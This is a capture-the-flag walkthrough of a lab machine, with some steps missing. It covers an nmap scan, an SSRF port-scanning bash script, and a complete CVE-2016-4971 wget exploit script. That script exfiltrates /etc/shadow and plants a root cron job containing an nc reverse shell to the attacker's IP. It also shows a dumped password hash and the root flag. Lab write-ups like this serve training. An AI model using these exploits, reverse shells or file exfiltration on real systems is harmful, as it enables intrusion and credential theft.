As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Tue Nov 8 16:16:16 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.55
Nmap scan report for 10.10.10.55
Host is up (0.066s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8009/tcp open ajp13
8080/tcp open http-proxy
60000/tcp open unknown
# Nmap done at Tue Nov 8 16:16:30 2022 -- 1 IP address (1 host up) scanned in 13.95 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
And it loads! This means that we could try to exploit an SSRF attack.
Server Side Request Forgery (SSRF) is a type of exploitation in which an attacker abuses the functionality of a server and causes it to access or manipulate information within the scope of that server that would not otherwise be directly accessible to the attacker.
I wrote the following script in bash which will try to access localhost:$port, and check if the port is open.
#!/bin/bash
function check_port(){
r=$(curl -s "http://10.10.10.55:60000/url.php?path=localhost:"$port)
length=$(echo $r | wc -c)
if [[ length -ne 1 ]];then
echo $port
fi
}
for port in $(seq 1 65535); do
check_port &
done
If we run the exploit, we'll see that now we can access more ports, such as ports 22, 90, 110, 200, 320, 888, 3306, 8080 or 60000.
bash exploit.sh
22
90
110
200
320
888
3306
8080
60000
The only new interesting port seems to be port 888.
If we take a look at the backup file we won't see anything.
PING 10.0.3.133 (10.0.3.133) 56(84) bytes of data.
64 bytes from 10.0.3.133: icmp_seq=1 ttl=64 time=0.075 ms
--- 10.0.3.133 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.075/0.075/0.075/0.000 ms
If we try to set a simple HTTP server with python on port 80, we will get a permission denied error.
python -m SimpleHTTPServer 80
...
socket.error: [Errno 13] Permission denied
But, authbind is available on the machine, and we are able to listen on port 21, and 80.
ls -l /etc/authbind/byport/
total 0
-rwxr-xr-x 1 root atanas 0 Aug 29 2017 21
-rwxr-xr-x 1 root atanas 0 Aug 29 2017 80
We can listen on port 80 with authbind. And there seems to be a cron job running the wget command.
authbind nc -lvnp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 37666)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-Alive
Note that the version of wget is 1.16, which is vulnerable to a Remote Command Executionexploit. To get access to the container, first create the directory /tmp/ftptest and access it.
mkdir /tmp/ftptest
cd /tmp/ftptest
Then, create the file .wgetrc with the following content.
cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_
Now, create the wget-exploit.py script with the following content.
#!/usr/bin/env python
#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc
print "We have a volunteer requesting " + self.path + " by GET :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
self.send_response(301)
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
print "Sending redirect to %s \n"%(new_path)
self.send_header('Location', new_path)
self.end_headers()
def do_POST(self):
# In here we will receive extracted file and install a PoC cronjob
print "We have a volunteer requesting " + self.path + " by POST :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
print "Sending back a cronjob script as a thank-you for the file..."
print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(ROOT_CRON)
print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"
return
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'
FTP_PORT = 21
ROOT_CRON = "* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 5555 >/tmp/f \n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
handler.serve_forever()
Now, start an FTP server with python in the background.
authbind python -m pyftpdlib -p21 -w &
Set a netcat listener on port 5555 on our local machine.
nc -lvnp 5555
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
Then, run the wget-exploit.py script on the victim machine.
authbind python wget-exploit.py
Ready? Is your FTP server running?
FTP found open on 10.10.10.55:21. Let's go then
Serving wget exploit on port 80...
We have a volunteer requesting /archive.tar.gz by GET :)
Uploading .wgetrc via ftp redirect vuln. It should land in /root
10.0.3.133 - - [09/Nov/2022 11:08:01] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.10.10.55:21/.wgetrc
We have a volunteer requesting /archive.tar.gz by POST :)
Received POST from wget, this should be the extracted /etc/shadow file:
---[begin]---
root:*:17366:0:99999:7:::
daemon:*:17366:0:99999:7:::
bin:*:17366:0:99999:7:::
sys:*:17366:0:99999:7:::
sync:*:17366:0:99999:7:::
games:*:17366:0:99999:7:::
man:*:17366:0:99999:7:::
lp:*:17366:0:99999:7:::
mail:*:17366:0:99999:7:::
news:*:17366:0:99999:7:::
uucp:*:17366:0:99999:7:::
proxy:*:17366:0:99999:7:::
www-data:*:17366:0:99999:7:::
backup:*:17366:0:99999:7:::
list:*:17366:0:99999:7:::
irc:*:17366:0:99999:7:::
gnats:*:17366:0:99999:7:::
nobody:*:17366:0:99999:7:::
systemd-timesync:*:17366:0:99999:7:::
systemd-network:*:17366:0:99999:7:::
systemd-resolve:*:17366:0:99999:7:::
systemd-bus-proxy:*:17366:0:99999:7:::
syslog:*:17366:0:99999:7:::
_apt:*:17366:0:99999:7:::
sshd:*:17366:0:99999:7:::
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
---[eof]---
Sending back a cronjob script as a thank-you for the file...
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
10.0.3.133 - - [09/Nov/2022 11:10:01] "POST /archive.tar.gz HTTP/1.1" 200 -
File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)
Now, we'll have to wait for a minute until the cron job gets executed, and then we'll get a reverse shell as root in the container machine. Then, all we have to do is reap the harvest and take the root flag.
Listening on 0.0.0.0 5555
Connection received on 10.10.10.55 56798
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
950d1425795dfd38272c93ccbb63ae2c